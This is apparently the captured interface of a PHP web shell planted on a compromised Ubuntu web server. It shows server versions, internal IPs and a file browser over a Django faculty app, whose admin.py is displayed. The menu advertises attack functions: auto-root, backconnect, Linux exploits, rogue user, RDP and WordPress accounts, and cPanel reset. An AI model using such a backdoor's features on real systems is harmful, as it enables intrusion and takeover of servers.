Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
vicas-dev /
faculty /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
migrations
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
admin.py
846
B
-rw-r--r--
apps.py
146
B
-rw-r--r--
models.py
1.37
KB
-rw-r--r--
tests.py
60
B
-rw-r--r--
urls.py
514
B
-rw-r--r--
views.py
1.08
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : admin.py
from django.contrib import admin from .models import Faculty, ResearchInterest, TeachingInterest, Affiliation # Faculty admin with autocomplete for ManyToManyFields @admin.register(Faculty) class FacultyAdmin(admin.ModelAdmin): list_display = ('name', 'designation', 'email', 'phone') prepopulated_fields = {'slug': ('name',)} autocomplete_fields = ('research_interests', 'teaching_interests', 'affiliations') # Register and enable search for each related model @admin.register(ResearchInterest) class ResearchInterestAdmin(admin.ModelAdmin): search_fields = ['name'] @admin.register(TeachingInterest) class TeachingInterestAdmin(admin.ModelAdmin): search_fields = ['name'] @admin.register(Affiliation) class AffiliationAdmin(admin.ModelAdmin): search_fields = ['name'] prepopulated_fields = {'slug': ('name',)}
Close